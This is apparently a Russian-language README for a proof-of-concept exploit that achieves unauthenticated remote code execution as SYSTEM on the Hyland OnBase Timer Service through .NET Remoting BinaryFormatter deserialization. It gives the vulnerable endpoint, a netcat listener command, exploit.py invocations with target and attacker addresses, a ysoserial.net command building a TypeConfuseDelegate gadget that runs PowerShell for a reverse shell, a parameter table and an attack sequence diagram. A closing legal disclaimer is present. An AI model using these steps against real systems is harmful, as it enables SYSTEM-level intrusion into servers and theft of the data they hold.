
Эксплойт-доказательство концепции для неаутентифицированного удалённого выполнения кода в службе таймера Hyland OnBase через десериализацию BinaryFormatter в .NET Remoting, с получением привилегий SYSTEM.
Этот репозиторий содержит Proof‑of‑Concept эксплойт для уязвимости Hyland OnBase Timer Service, позволяющей неаутентифицированному злоумышленнику выполнить произвольный код через небезопасную десериализацию .NET Remoting BinaryFormatter.
Уязвимость позволяет неаутентифицированному злоумышленнику отправить специально сформированный BinaryFormatter-пейлоад на конечную точку Timer Service и выполнить произвольный код с правами NT AUTHORITY\SYSTEM.
Timer Service предоставляет конечную точку .NET Remoting:
http://TARGET:8900/TimerServiceAPI.rem
Сервис принимает неаутентифицированные объекты BinaryFormatter. При передаче вредоносной цепочки гаджетов (ysoserial.net) во время десериализации происходит выполнение произвольных команд.
Установка зависимости Python:
pip install requests
Скачать ysoserial.net:
git clone https://github.com/pwntester/ysoserial.net
nc -lvnp 4444
python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
Скрипт выводит команду ysoserial. Запустите её в другом терминале (Windows / Mono):
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell ..." -o raw > rev_shell.bin
Нажмите ENTER в терминале эксплойта после генерации пейлоада.
Если система уязвима → установится обратное соединение (reverse shell).
python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001
| Параметр | Описание |
|---|---|
| target | IP-адрес или имя хоста цели |
| --port | Порт Timer Service (по умолчанию 8900) |
| --endpoint | TimerServiceAPI.rem / TimerServiceEvents.rem |
| --lhost | IP-адрес атакующего |
| --lport | Порт слушателя |
| --gadget | Цепочка гаджетов ysoserial |
Эксплойт является слепым
Успех = обратный вызов reverse shell
Сервис работает с правами SYSTEM
Попробуйте альтернативный гаджет, если заблокирован:
sequenceDiagram
participant A as Атакующий
participant Y as ysoserial.net
participant T as Целевой OnBase Timer Service
participant S as Оболочка SYSTEM
A->>A: Запуск netcat listener
A->>Y: Генерация BinaryFormatter пейлоада
Y-->>A: rev_shell.bin
A->>T: HTTP POST /TimerServiceAPI.rem
T->>T: BinaryFormatter.Deserialize()
T->>S: Выполнение цепочки гаджетов
S-->>A: Обратное соединение reverse shellДанный эксплойт предоставлен для:
Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения, является незаконным.